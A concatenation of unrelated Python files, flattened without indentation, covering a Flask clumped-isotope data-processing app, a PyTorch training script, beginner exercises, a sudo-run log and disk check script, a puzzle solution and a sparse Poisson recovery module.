'display_results': False,
'error_msg': '',
'rawdata_input_str': rawdata_input_str,
'o17_R13_VPDB': 0.01118,
'o17_R18_VSMOW': 0.0020052,
'o17_R17_VSMOW': 0.00038475,
'o17_lambda': 0.528,
'd13C_stdz_setting': 'd13C_stdz_setting_2pt',
'd18O_stdz_setting': 'd18O_stdz_setting_2pt',
'wg_setting': 'wg_setting_fromsamples',
# 'wg_setting_fromsample_samplename': 'ETH-3',
# 'wg_setting_fromsample_d13C': 1.71,
# 'wg_setting_fromsample_d18O': -1.78,
'acidfrac_setting': 1.008129,
'rf_input_str': '0.258\tETH-1\n0.256\tETH-2\n0.691\tETH-3',
'stdz_method_setting': 'stdz_method_setting_pooled',
}
@app.route('/faq/')
def faq():
with open(f'{app.root_path}/faq.md') as fid:
md = fid.read()
return render_template('faq.html', md = md, vD47crunch = vD47crunch)
@app.route('/readme/')
def readme():
with open(f'{app.root_path}/README.md') as fid:
md = fid.read()
headless_md = md[md.find('\n'):]
return render_template('readme.html', md = headless_md, vD47crunch = vD47crunch)
@app.route('/', methods = ['GET', 'POST'])
def main():
if request.method == 'GET':
return start()
else:
if request.form['action'] == 'Process':
return proceed()
elif request.form['action'] == 'Download zipped results':
return zipresults()
def start():
payload = default_payload.copy()
# payload['token'] = datetime.now().strftime('%y%m%d') + ''.join(choices(ascii_lowercase, k=5))
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
def proceed():
payload = dict(request.form)
data = D47data()
if payload['d13C_stdz_setting'] == 'd13C_stdz_setting_2pt':
data.d13C_STANDARDIZATION_METHOD = '2pt'
elif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_1pt':
data.d13C_STANDARDIZATION_METHOD = '1pt'
elif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_none':
data.d13C_STANDARDIZATION_METHOD = 'none'
if payload['d18O_stdz_setting'] == 'd18O_stdz_setting_2pt':
data.d18O_STANDARDIZATION_METHOD = '2pt'
elif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_1pt':
data.d18O_STANDARDIZATION_METHOD = '1pt'
elif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_none':
data.d18O_STANDARDIZATION_METHOD = 'none'
anchors = [l.split('\t') for l in payload['rf_input_str'].splitlines() if '\t' in l]
data.Nominal_D47 = {l[1]: float(l[0]) for l in anchors}
try:
data.R13_VPDB = float(payload['o17_R13_VPDB'])
except:
payload['error_msg'] = 'Check the value of R13_VPDB in oxygen-17 correction settings.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
try:
data.R18_VSMOW = float(payload['o17_R18_VSMOW'])
except:
payload['error_msg'] = 'Check the value of R18_VSMOW in oxygen-17 correction settings.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
try:
data.R17_VSMOW = float(payload['o17_R17_VSMOW'])
except:
payload['error_msg'] = 'Check the value of R17_VSMOW in oxygen-17 correction settings.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
try:
data.lambda_17 = float(payload['o17_lambda'])
except:
payload['error_msg'] = 'Check the value of λ in oxygen-17 correction settings.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
data.input(payload['rawdata_input_str'])
# try:
# data.input(payload['rawdata_input_str'], '\t')
# except:
# payload['error_msg'] = 'Raw data input failed for some reason.'
# return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
for r in data:
for k in ['UID', 'Sample', 'Session', 'd45', 'd46', 'd47']:
if k not in r or r[k] == '':
payload['error_msg'] = f'Analysis "{r["UID"]}" is missing field "{k}".'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
for k in ['d45', 'd46', 'd47']:
if not isinstance(r[k], (int, float)):
payload['error_msg'] = f'Analysis "{r["UID"]}" should have a valid number for field "{k}".'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
if payload['wg_setting'] == 'wg_setting_fromsamples':
# if payload['wg_setting_fromsample_samplename'] == '':
# payload['error_msg'] = 'Empty sample name in WG settings.'
# return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
#
# wg_setting_fromsample_samplename = payload['wg_setting_fromsample_samplename']
#
# for s in data.sessions:
# if wg_setting_fromsample_samplename not in [r['Sample'] for r in data.sessions[s]['data']]:
# payload['error_msg'] = f'Sample name from WG settings ("{wg_setting_fromsample_samplename}") not found in session "{s}".'
# return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
#
# try:
# wg_setting_fromsample_d13C = float(payload['wg_setting_fromsample_d13C'])
# except:
# payload['error_msg'] = 'Check the δ13C value in WG settings.'
# return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
#
# try:
# wg_setting_fromsample_d18O = float(payload['wg_setting_fromsample_d18O'])
# except:
# payload['error_msg'] = 'Check the δ18O value in WG settings.'
# return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
try:
acidfrac = float(payload['acidfrac_setting'])
except:
payload['error_msg'] = 'Check the acid fractionation value.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
if acidfrac == 0:
payload['error_msg'] = 'Acid fractionation value should be greater than zero.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
if payload['wg_setting'] == 'wg_setting_fromsamples':
data.Nominal_d13C_VPDB = {}
data.Nominal_d18O_VPDB = {}
for r in data:
if 'Nominal_d13C_VPDB' in r:
if r['Sample'] in data.Nominal_d13C_VPDB:
if data.Nominal_d13C_VPDB[r['Sample']] != r['Nominal_d13C_VPDB']:
payload['error_msg'] = f"Inconsistent <span class='field'>Nominal_d13C_VPDB</span> value for {r['Sample']} (analysis: {r['UID']})."
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
else:
data.Nominal_d13C_VPDB[r['Sample']] = r['Nominal_d13C_VPDB']
if 'Nominal_d18O_VPDB' in r:
if r['Sample'] in data.Nominal_d18O_VPDB:
if data.Nominal_d18O_VPDB[r['Sample']] != r['Nominal_d18O_VPDB']:
payload['error_msg'] = f"Inconsistent <span class='field'>Nominal_d18O_VPDB</span> value for {r['Sample']} (analysis {r['UID']})."
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
else:
data.Nominal_d18O_VPDB[r['Sample']] = r['Nominal_d18O_VPDB']
try:
data.wg(a18_acid = acidfrac)
except:
payload['error_msg'] = 'WG computation failed for some reason.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
if payload['wg_setting'] == 'wg_setting_explicit':
for r in data:
for k in ['d13Cwg_VPDB', 'd18Owg_VSMOW']:
if k not in r:
payload['error_msg'] = f'Analysis "{r["UID"]}" is missing field "{k}".'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
try:
data.crunch()
except:
payload['error_msg'] = 'Crunching step failed for some reason.'
return render_template('main.html', payload = payload, vD47crunch = vD47crunch)
method = {
'stdz_method_setting_pooled': 'pooled',
'stdz_method_setting_indep_sessions': 'indep_sessions',
}[payload['stdz_method_setting']]
data.standardize(
consolidate_tables = False,
consolidate_plots = False,
method = method)
csv = 'Session,a,b,c,va,vb,vc,covab,covac,covbc,Xa,Ya,Xu,Yu'
for session in data.sessions:
s = data.sessions[session]
Ga = [r for r in s['data'] if r['Sample'] in data.anchors]
Gu = [r for r in s['data'] if r['Sample'] in data.unknowns]
csv += f"\n{session},{s['a']},{s['b']},{s['c']},{s['CM'][0,0]},{s['CM'][1,1]},{s['CM'][2,2]},{s['CM'][0,1]},{s['CM'][0,2]},{s['CM'][1,2]},{';'.join([str(r['d47']) for r in Ga])},{';'.join([str(r['D47']) for r in Ga])},{';'.join([str(r['d47']) for r in Gu])},{';'.join([str(r['D47']) for r in Gu])}"
# payload['error_msg'] = 'Foo bar.'
# return str(payload).replace(', ','\n')
payload['display_results'] = True
payload['csv_of_sessions'] = csv
summary = data.summary(save_to_file = False, print_out = False)
tosessions = data.table_of_sessions(save_to_file = False, print_out = False)
payload['summary'] = pretty_table(summary, header = 0)
payload['summary_rows'] = len(payload['summary'].splitlines())+2
payload['summary_cols'] = len(payload['summary'].splitlines()[0])
payload['table_of_sessions'] = pretty_table(tosessions)
payload['table_of_sessions_rows'] = len(payload['table_of_sessions'].splitlines())+1
payload['table_of_sessions_cols'] = len(payload['table_of_sessions'].splitlines()[0])
payload['table_of_sessions_csv'] = make_csv(tosessions)
tosamples = data.table_of_samples(save_to_file = False, print_out = False)
payload['table_of_samples'] = pretty_table(tosamples)
payload['table_of_samples'] = payload['table_of_samples'][:] + 'NB: d18O_VSMOW is the composition of the analyzed CO2.'
payload['table_of_samples_rows'] = len(payload['table_of_samples'].splitlines())
payload['table_of_samples_cols'] = len(payload['table_of_samples'].splitlines()[0])+1
payload['table_of_samples_csv'] = make_csv(tosamples)
toanalyses = data.table_of_analyses(save_to_file = False, print_out = False)
payload['table_of_analyses'] = pretty_table(toanalyses)
payload['table_of_analyses_rows'] = len(payload['table_of_analyses'].splitlines())+1
payload['table_of_analyses_cols'] = len(payload['table_of_analyses'].splitlines()[0])
payload['table_of_analyses_csv'] = make_csv(toanalyses)
covars = "\n\nCOVARIANCE BETWEEN SAMPLE Δ47 VALUES:\n\n"
txt = [['Sample #1', 'Sample #2', 'Covariance', 'Correlation']]
unknowns = [k for k in data.unknowns]
for k, s1 in enumerate(unknowns):
for s2 in unknowns[k+1:]:
txt += [[
s1,
s2,
f"{data.sample_D47_covar(s1,s2):.4e}",
f"{data.sample_D47_covar(s1,s2)/data.samples[s1]['SE_D47']/data.samples[s2]['SE_D47']:.6f}",
]]
covars += pretty_table(txt, align = '<<>>')
payload['report'] = f"Report generated on {time.asctime()}\nClumpyCrunch v{__version__} using D47crunch v{vD47crunch}"
payload['report'] += "\n\nOXYGEN-17 CORRECTION PARAMETERS:\n" + pretty_table([['R13_VPDB', 'R18_VSMOW', 'R17_VSMOW', 'lambda_17'], [payload['o17_R13_VPDB'], payload['o17_R18_VSMOW'], payload['o17_R17_VSMOW'], payload['o17_lambda']]], align = '<<<<')
if payload['wg_setting'] == 'wg_setting_fromsample':
payload['report'] += f"\n\nWG compositions constrained by sample {wg_setting_fromsample_samplename} with:"
payload['report'] += f"\n δ13C_VPDB = {wg_setting_fromsample_d13C}"
payload['report'] += f"\n δ18O_VPDB = {wg_setting_fromsample_d18O}"
payload['report'] += f"\n(18O/16O) AFF = {wg_setting_fromsample_acidfrac}\n"
elif payload['wg_setting'] == 'wg_setting_explicit':
payload['report'] += f"\n\nWG compositions specified by user.\n"
payload['report'] += f"\n\nSUMMARY:\n{payload['summary']}"
payload['report'] += f"\n\nSAMPLES:\n{payload['table_of_samples']}\n"
payload['report'] += f"\n\nSESSIONS:\n{payload['table_of_sessions']}"
payload['report'] += f"\n\nANALYSES:\n{payload['table_of_analyses']}"
payload['report'] += covars
txt = payload['csv_of_sessions']
txt = [[x.strip() for x in l.split(',')] for l in txt.splitlines() if l.strip()]
sessions = [{k: smart_type(v) for k,v in zip(txt[0], l)} for l in txt[1:]]
payload['plots'] = []
for s in sessions:
s['Xa'] = [float(x) for x in s['Xa'].split(';')]
s['Ya'] = [float(x) for x in s['Ya'].split(';')]
s['Xu'] = [float(x) for x in s['Xu'].split(';')]
s['Yu'] = [float(x) for x in s['Yu'].split(';')]
for s in sessions:
fig = figure(figsize = (3,3))
subplots_adjust(.2,.15,.95,.9)
plot_session(s)
pngImage = io.BytesIO()
FigureCanvas(fig).print_png(pngImage)
pngImageB64String = "data:image/png;base64,"
pngImageB64String += base64.b64encode(pngImage.getvalue()).decode('utf8')
payload['plots'] += [pngImageB64String]
close(fig)
return(render_template('main.html', payload = payload, vD47crunch = vD47crunch))
# @app.route("/csv/<foo>/<filename>", methods = ['POST'])
# def get_file(foo, filename):
# payload = dict(request.form)
# return Response(
# payload[foo],
# mimetype='text/plain',
# headers={'Content-Disposition': f'attachment;filename="{filename}"'}
# )
def normalization_error(a, b, c, CM, d47, D47):
V = array([-D47, -d47, -1]) /a
return float((V @ CM @ V.T) ** .5)
def zipresults():
payload = dict(request.form)
# return str(payload).replace(', ','\n')
mem = io.BytesIO()
with zipfile.ZipFile(mem, 'w') as zf:
for k, filename in [
('report', 'report.txt'),
('table_of_sessions_csv', 'csv/sessions.csv'),
('table_of_samples_csv', 'csv/samples.csv'),
('table_of_analyses_csv', 'csv/analyses.csv'),
]:
data = zipfile.ZipInfo(f'/{filename}')
data.date_time = time.localtime(time.time())[:6]
data.compress_type = zipfile.ZIP_DEFLATED
zf.writestr(data, payload[k])
txt = payload['csv_of_sessions']
txt = [[x.strip() for x in l.split(',')] for l in txt.splitlines() if l.strip()]
sessions = [{k: smart_type(v) for k,v in zip(txt[0], l)} for l in txt[1:]]
for s in sessions:
s['Xa'] = [float(x) for x in s['Xa'].split(';')]
s['Ya'] = [float(x) for x in s['Ya'].split(';')]
s['Xu'] = [float(x) for x in s['Xu'].split(';')]
s['Yu'] = [float(x) for x in s['Yu'].split(';')]
X = [x for s in sessions for k in ['Xa', 'Xu'] for x in s[k]]
Y = [y for s in sessions for k in ['Ya', 'Yu'] for y in s[k]]
xmin, xmax, ymin, ymax = [min(X), max(X), min(Y), max(Y)]
dx = xmax - xmin
dy = ymax - ymin
xmin -= dx/20
xmax += dx/20
ymin -= dy/20
ymax += dy/20
for s in sessions:
fig = figure(figsize = (5,5))
subplots_adjust(.15,.15,.9,.9)
plot_session(s, [xmin, xmax, ymin, ymax])
buf = io.BytesIO()
savefig(buf, format = 'pdf')
close(fig)
zf.writestr(f"/sessions/{s['Session']}.pdf", buf.getvalue())
mem.seek(0)
response = Response(FileWrapper(mem), mimetype="application/zip", direct_passthrough=True)
response.headers['Content-Disposition'] = 'attachment; filename=ClumpyCrunch.zip'
return response
def plot_session(s, axislimits = []):
kw = dict(mfc = 'None', mec = (.9,0,0), mew = .75, ms = 4)
plot(s['Xa'], s['Ya'], 'x', **kw)
kw['mec'] = 'k'
plot(s['Xu'], s['Yu'], 'x', **kw)
if axislimits:
xmin, xmax, ymin, ymax = axislimits
else:
xmin, xmax, ymin, ymax = axis()
XI,YI = meshgrid(linspace(xmin, xmax), linspace(ymin, ymax))
CM = array([[s['va'], s['covab'], s['covac']], [s['covab'], s['vb'], s['covbc']], [s['covac'], s['covbc'], s['vc']]])
a, b, c = s['a'], s['b'], s['c']
SI = array([[normalization_error(a, b, c, CM, xi, yi) for xi in XI[0,:]] for yi in YI[:,0]])
rng = SI.max() - SI.min()
if rng <= 0.01:
cinterval = 0.001
elif rng <= 0.03:
cinterval = 0.004
elif rng <= 0.1:
cinterval = 0.01
elif rng <= 0.3:
cinterval = 0.03
else:
cinterval = 0.1
cval = [ceil(SI.min() / .001) * .001 + k * cinterval for k in range(int(ceil((SI.max() - SI.min()) / cinterval)))]
cs = contour(XI, YI, SI, cval, colors = 'r', alpha = .5, linewidths = .75)
clabel(cs)
axis([xmin, xmax, ymin, ymax])
xlabel('δ$_{47}$ (‰ WG)')
ylabel('Δ$_{47}$ (‰)')
title(s['Session'])
grid(alpha = .15)
| 28,020 | 17,037 |
r"""Train a neural network to predict feedback for a program string."""
from __future__ import division
from __future__ import print_function
from __future__ import absolute_import
import os
import sys
import random
import numpy as np
from tqdm import tqdm
import torch
import torch.optim as optim
import torch.utils.data as data
import torch.nn.functional as F
from .models import ProgramRNN
from .utils import AverageMeter, save_checkpoint, merge_args_with_dict
from .datasets import load_dataset
from .config import default_hyperparams
from .rubric_utils.load_params import get_label_params, get_max_seq_len
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('dataset', type=str, help='annotated|synthetic')
parser.add_argument('problem_id', type=int, help='1|2|3|4|5|6|7|8')
parser.add_argument('out_dir', type=str, help='where to save outputs')
parser.add_argument('--cuda', action='store_true', default=False,
help='enables CUDA training [default: False]')
args = parser.parse_args()
args.cuda = args.cuda and torch.cuda.is_available()
merge_args_with_dict(args, default_hyperparams)
device = torch.device('cuda' if args.cuda else 'cpu')
args.max_seq_len = get_max_seq_len(args.problem_id)
label_dim, _, _, _, _ = get_label_params(args.problem_id)
# reproducibility
torch.manual_seed(args.seed)
np.random.seed(args.seed)
if not os.path.isdir(args.out_dir):
os.makedirs(args.out_dir)
train_dataset = load_dataset( args.dataset, args.problem_id, 'train', vocab=None,
max_seq_len=args.max_seq_len, min_occ=args.min_occ)
val_dataset = load_dataset( args.dataset, args.problem_id, 'val', vocab=train_dataset.vocab,
max_seq_len=args.max_seq_len, min_occ=args.min_occ)
test_dataset = load_dataset(args.dataset, args.problem_id, 'test', vocab=train_dataset.vocab,
max_seq_len=args.max_seq_len, min_occ=args.min_occ)
train_loader = data.DataLoader(train_dataset, batch_size=args.batch_size, shuffle=True)
val_loader = data.DataLoader(val_dataset, batch_size=args.batch_size, shuffle=False)
test_loader = data.DataLoader(test_dataset, batch_size=args.batch_size, shuffle=False)
model = ProgramRNN( args.z_dim, label_dim, train_dataset.vocab_size, embedding_dim=args.embedding_dim,
hidden_dim=args.hidden_dim, num_layers=args.num_layers)
model = model.to(device)
optimizer = optim.Adam(model.parameters(), lr=args.lr)
def train(epoch):
model.train()
loss_meter = AverageMeter()
acc_meter = AverageMeter()
for batch_idx, (seq, length, label, _) in enumerate(train_loader):
assert label is not None
batch_size = len(seq)
seq = seq.to(device)
length = length.to(device)
label = label.to(device)
optimizer.zero_grad()
label_out = model(seq, length)
loss = F.binary_cross_entropy(label_out, label)
loss.backward()
loss_meter.update(loss.item(), batch_size)
optimizer.step()
acc = np.mean(torch.round(label_out).detach().numpy() == label.detach().numpy())
acc_meter.update(acc, batch_size)
if batch_idx % args.log_interval == 0:
print('Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}\tAccuracy: {:.4f}'.format(
epoch, batch_idx * batch_size, len(train_loader.dataset),
100. * batch_idx / len(train_loader), loss_meter.avg,
acc_meter.avg))
print('====> Epoch: {}\tLoss: {:.4f}\tAccuracy: {:.4f}'.format(
epoch, loss_meter.avg, acc_meter.avg))
return loss_meter.avg, acc_meter.avg
def test(epoch, loader, name='Test'):
model.eval()
loss_meter = AverageMeter()
acc_meter = AverageMeter()
with torch.no_grad():
with tqdm(total=len(loader)) as pbar:
for (seq, length, label, _) in loader:
assert label is not None
batch_size = len(seq)
seq = seq.to(device)
length = length.to(device)
label = label.to(device)
label_out = model(seq, length)
loss = F.binary_cross_entropy(label_out, label)
loss_meter.update(loss.item(), batch_size)
acc = np.mean(torch.round(label_out.cpu()).numpy() == label.cpu().numpy())
acc_meter.update(acc, batch_size)
pbar.update()
print('====> {} Epoch: {}\tLoss: {:.4f}\tAccuracy: {:.4f}'.format(
name, epoch, loss_meter.avg, acc_meter.avg))
return loss_meter.avg, acc_meter.avg
best_loss = sys.maxint
track_train_loss = np.zeros(args.epochs)
track_val_loss = np.zeros(args.epochs)
track_test_loss = np.zeros(args.epochs)
track_train_acc = np.zeros(args.epochs)
track_val_acc = np.zeros(args.epochs)
track_test_acc = np.zeros(args.epochs)
for epoch in xrange(1, args.epochs + 1):
train_loss, train_acc = train(epoch)
val_loss, val_acc = test(epoch, val_loader, name='Val')
test_loss, test_acc = test(epoch, test_loader, name='Test')
track_train_loss[epoch - 1] = train_loss
track_val_loss[epoch - 1] = val_loss
track_test_loss[epoch - 1] = test_loss
track_train_acc[epoch - 1] = train_acc
track_val_acc[epoch - 1] = val_acc
track_test_acc[epoch - 1] = test_acc
is_best = val_loss < best_loss
best_loss = min(val_loss, best_loss)
save_checkpoint({
'state_dict': model.state_dict(),
'cmd_line_args': args,
'vocab': train_dataset.vocab,
}, is_best, folder=args.out_dir)
np.save(os.path.join(args.out_dir, 'train_loss.npy'), track_train_loss)
np.save(os.path.join(args.out_dir, 'val_loss.npy'), track_val_loss)
np.save(os.path.join(args.out_dir, 'test_loss.npy'), track_test_loss)
np.save(os.path.join(args.out_dir, 'train_acc.npy'), track_train_acc)
np.save(os.path.join(args.out_dir, 'val_acc.npy'), track_val_acc)
np.save(os.path.join(args.out_dir, 'test_acc.npy'), track_test_acc)
| 6,505 | 2,216 |
# --------------
# Code starts here
class_1 = ['Geoffrey Hinton' , 'Andrew Ng' , 'Sebastian Raschka' , 'Yoshua Bengio']
class_2 = ['Hilary Mason' , 'Carla Gentry' , 'Corinna Cortes']
new_class = class_1 + class_2
print(new_class)
new_class.append('Peter Warden')
print(new_class)
del new_class[5]
print(new_class)
# Code ends here
# --------------
# Code starts here
courses = {'Math': 65 , 'English': 70 , 'History': 80 , 'French': 70 , 'Science': 60}
total = sum(courses.values())
print(total)
percentage = total/500*100
print(percentage)
# Code ends here
# --------------
# Code starts here
mathematics = { 'Geoffrey Hinton' : 78, 'Andrew Ng' : 95, 'Sebastian Raschka' : 65 ,
'Yoshua Benjio' : 50 , 'Hilary Mason' : 70 , 'Corinna Cortes' : 66 , 'Peter Warden' : 75}
max_marks_scored = max(mathematics, key=mathematics.get)
print(max_marks_scored)
topper = max_marks_scored
print(topper)
# Code ends here
# --------------
# Given string
topper = ' andrew ng'
# Code starts here
first_name = topper.split()[0]
print(first_name)
last_name = topper.split()[1]
print(last_name)
full_name = last_name +' '+ first_name
print(full_name)
certificate_name = full_name.upper()
print(certificate_name)
# Code ends here
| 1,232 | 499 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
NAME:
checklog.py
DESCRIPTION:
This script checks the tail of the log file and lists the disk space
CREATED:
Sun Mar 15 22:53:54 2015
VERSION:
1.0
AUTHOR:
Mark Tibbett
AUTHOR_EMAIL:
mtibbett67@gmail.com
URL:
N/A
DOWNLOAD_URL:
N/A
INSTALL_REQUIRES:
[]
PACKAGES:
[]
SCRIPTS:
[]
'''
# Standard library imports
import os
import sys
import subprocess
# Related third party imports
# Local application/library specific imports
# Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
# Section formats
SEPARATOR = B + '=' * 80 + W
NL = '\n'
# Clear the terminal
os.system('clear')
# Check for root or sudo. Remove if not needed.
UID = os.getuid()
if UID != 0:
print R + ' [!]' + O + ' ERROR:' + G + ' sysupdate' + O + \
' must be run as ' + R + 'root' + W
# print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') \
# or try ' + W + 'sudo ./wifite.py' + W
os.execvp('sudo', ['sudo'] + sys.argv)
else:
print NL
print G + 'You are running this script as ' + R + 'root' + W
print NL + SEPARATOR + NL
LOG = ['tail', '/var/log/messages']
DISK = ['df', '-h']
def check(arg1, arg2):
'''Call subprocess to check logs'''
print G + arg1 + W + NL
item = subprocess.check_output(arg2)
#subprocess.call(arg2)
print item + NL + SEPARATOR + NL
check('Runing tail on messages', LOG)
check('Disk usage', DISK)
| 1,629 | 690 |
n = int(input().strip())
items = [
int(A_temp)
for A_temp
in input().strip().split(' ')
]
items_map = {}
result = None
for i, item in enumerate(items):
if item not in items_map:
items_map[item] = [i]
else:
items_map[item].append(i)
for _, item_indexes in items_map.items():
items_indexes_length = len(item_indexes)
if items_indexes_length > 1:
for i in range(items_indexes_length):
for j in range(i + 1, items_indexes_length):
diff = item_indexes[j] - item_indexes[i]
if result is None:
result = diff
elif diff < result:
result = diff
print(result if result else -1)
| 726 | 236 |
"""
Sparse Poisson Recovery (SPoRe) module for solving Multiple Measurement Vector
problem with Poisson signals (MMVP) by batch stochastic gradient ascent and
Monte Carlo integration
Authors: Pavan Kota, Daniel LeJeune
Reference:
[1] P. K. Kota, D. LeJeune, R. A. Drezek, and R. G. Baraniuk, "Extreme Compressed
Sensing of Poisson Rates from Multiple Measurements," Mar. 2021.
arXiv ID:
"""
from abc import ABC, abstractmethod
import numpy as np
import time
import pdb
from .mmv_models import FwdModelGroup, SPoReFwdModelGroup
class SPoRe(object):
def __init__(self, N, fwdmodel, sampler, batch_size=100, step_size=1e-1,
min_lambda=1e-3, pyx_min=0, grad_scale=5e-2, conv_rel=1e-2, conv_window=500,
patience = 3000, step_cut = 0.1, max_cut = 5, max_iter=int(1e4)):
"""
Parameters
----------
N: int
Dimension of signals
fwdmodel : object
instance of a mmv_models.FwdModel class. Object should contain any necessary
model-specific parameters as attributes
sampler : object
instance of a spore.Sampler class that has a .sample method returning S samples
of signals X from a probability distribution (N, S, :)
batch_size: int
Number of columns of Y to randomly draw and evaluate for each iteration
step_size: float
initial learning rate for stochastic gradient ascent
min_lambda: float
Lower bound on individual entries of lambda. \epsilon in [1]
pyx_min: float (default 0, i.e. no effect)
A batch element y_b is only included in analysis if max(p(y_b|x_s))
among sampled x's (x_s) is greater than this value. Prevents steps
in the direction of junk measurements (e.g. a corrupted siganl) OR
if samples are not good for the y_b
[1] used 0 for all experiments
grad_scale: float
Maximum l2-norm of gradient step that can be taken. Any step larger
is rescaled to have this l2-norm
conv_rel: float (0,1)
Fractional change in the average of lambda estimate in two conv_windows,
below which iteration stops
conv_window: int
Number of iterations over which to evaluate moving averages. Nonoverlapping windows
are compared. E.g. if conv_window = 500, then 999-500 iterations ago is averaged
and compared to 499-current average.
patience: int
Number of iterations to wait for improvement in log likelihood before
cutting step size
step_cut: float (0, 1)
Fraction to cut step size by if patience exceeded
max_cut: int
Maximum number of times step size can be cut by step_cut before
quitting
max_iter: int
Maximum iteration budget. SPoRe terminates regardless of convergence status
"""
self.N = N
if isinstance(fwdmodel, FwdModelGroup):
self.fwdmodel_group = fwdmodel
else:
self.fwdmodel_group = FwdModelGroup([fwdmodel])
self.sampler = sampler
self.batch_size = batch_size
self.step_size = step_size
self.min_lambda = min_lambda
self.pyx_min = pyx_min
self.grad_scale = grad_scale
self.conv_rel = conv_rel
self.conv_window = conv_window
self.patience = patience
self.step_cut = step_cut
self.max_cut = max_cut
self.max_iter = max_iter
def recover(self, Y, S, lam0=None, randinit_offset=1e-1, seed=None, verbose=True):
"""Recover poisson rate parameters given
Parameters
----------
Y : array_like
Observations.
Shape ``(M, D)``.
S : int
Number of samples to draw for each Y.
lam0: array_like
Initial value for estimated lambda. If None, lam0 = randinit_offset
Shape: ``(N,)
randinit_offset: float
Random initializations (if lam0 not provided) are drawn.
Offset sets a minimum value for any particular entry of lambda0
seed: int or None
Initial seed for before iterations begin
verbose: boolean
If True, prints some information every <self.conv_window> iterations
Returns
-------
lam_S : numpy array
Recovered estimate of lambda
Shape ``(N,)``
includeCheck: numpy array
Indices of observations that never influenced a gradient step. These
observations can be considered 'unexplained' by the recovered lambda.
Can be indicative of a corrupted measurement.
Not used in [1]
lamHistory: numpy array
History of lambda estimates at each iteration
Shape ``(N, iters)`` (for iters evaluated until convergence)
llHistory: numpy array
History of median log-likelihood estimates at each iteration
Shape ``(iters,)``
"""
if isinstance(self.fwdmodel_group, SPoReFwdModelGroup):
fwdmodel = self.fwdmodel_group
else:
_, D = Y.shape
group_indices = None
fwdmodel = SPoReFwdModelGroup(self.fwdmodel_group, group_indices)
M, D = np.shape(Y)
np.random.seed(seed)
lamHistory = np.zeros((self.N, self.max_iter))
llHistory = np.zeros((self.max_iter))
if lam0 is None:
lam0 = np.ones(self.N)*randinit_offset
lamHat = lam0
# Remaining false elements at convergence => unexplained measurements. Not used in [1]
includeCheck = np.zeros(D) > np.ones(D)
refIter = 0
bestIter = 0
stepTemp = self.step_size
numCut = 0
t0 = time.time()
stepIter = []
# Batch gradient ascent
for i in range(self.max_iter):
# Get batch elements and sample for each
batchInds = np.random.choice(D, self.batch_size)
Y_batch = Y[:,batchInds]
self.sampler._lam = lamHat
X_sample = self.sampler.sample(Y_batch, S)
pyx = fwdmodel.py_x_batch(Y_batch[:, None, :], X_sample, batchInds) # (S, B) array
# Don't eval batch elements whose p(y|x) is too low for all samples. In [1] (self.pyx_min=0)
batchInclude = np.max(pyx, axis=0) > self.pyx_min
includeCheck[batchInds[batchInclude]] = True
pyx = pyx[:, batchInclude]
if np.shape(X_sample)[2] > 1:
X_sample = X_sample[:,:,batchInclude]
pqRatio = self.sampler.pq_ratio(X_sample)
probsAgg = pyx * pqRatio # (S, B) array, aggregate value of pdf computations
# Evaluate loss and gradient
llHistory[i] = self.log_likelihood(probsAgg)
grad = self.gradient(X_sample, lamHat, probsAgg)
step = stepTemp * grad
# Necessary to make more robust against numerical issue described in [1]
if not np.all(grad==np.zeros(self.N)): # at least some sampled X informs a gradient step
stepIter.append(i) # track when steps are taken
if np.any( (lamHat+step) >self.min_lambda): #if at least one index is stepped meaningfully
# Rescale according to the indices still in question
normCheck = np.linalg.norm(step[ (lamHat+step) >self.min_lambda])
if normCheck > self.grad_scale :
step = (self.grad_scale / normCheck) * step
else: # step is likely too big, period.
if np.linalg.norm(step) > self.grad_scale : # Rescale based on whole step vector
step = (self.grad_scale / np.linalg.norm(step)) * step
#if steps have been taken at least 1/2 the time, recent conv_window worth of iterations likely to have been taken
# hypothesize that steps may not be taken occasionally at first as lamHat is a bad estimate, but will be taken with increasing regularity
enoughSteps = np.sum(np.array(stepIter) > (i - self.conv_window*2)) > self.conv_window
lamHat += step
lamHat[lamHat < self.min_lambda] = self.min_lambda
lamHistory[:, i] = lamHat
# Check convergence
if (i+1) >= (self.conv_window*2):
lam1 = np.mean(lamHistory[:, (i-2*self.conv_window+1):(i-self.conv_window+1)], axis=1) # e.g [:, 0:500] if conv_window is 500
lam2 = np.mean(lamHistory[:, (i-self.conv_window+1):(i+1)], axis=1) # e.g. [:, 500:] if i is 999, conv_window is 500
pctChange = np.linalg.norm(lam2 - lam1, ord=1) / np.linalg.norm(lam1, ord=1)
if pctChange < self.conv_rel and enoughSteps:
break
# Cut learning rate (if necessary)
if llHistory[i] >= llHistory[bestIter] or np.isnan(llHistory[bestIter]):
bestIter = i
refIter = i
if i - refIter >= self.patience and enoughSteps:
stepTemp = self.step_cut * stepTemp
refIter = i
numCut += 1
if verbose is True:
print('Step size cut ' + str(numCut) + ' times')
if numCut >= self.max_cut:
break
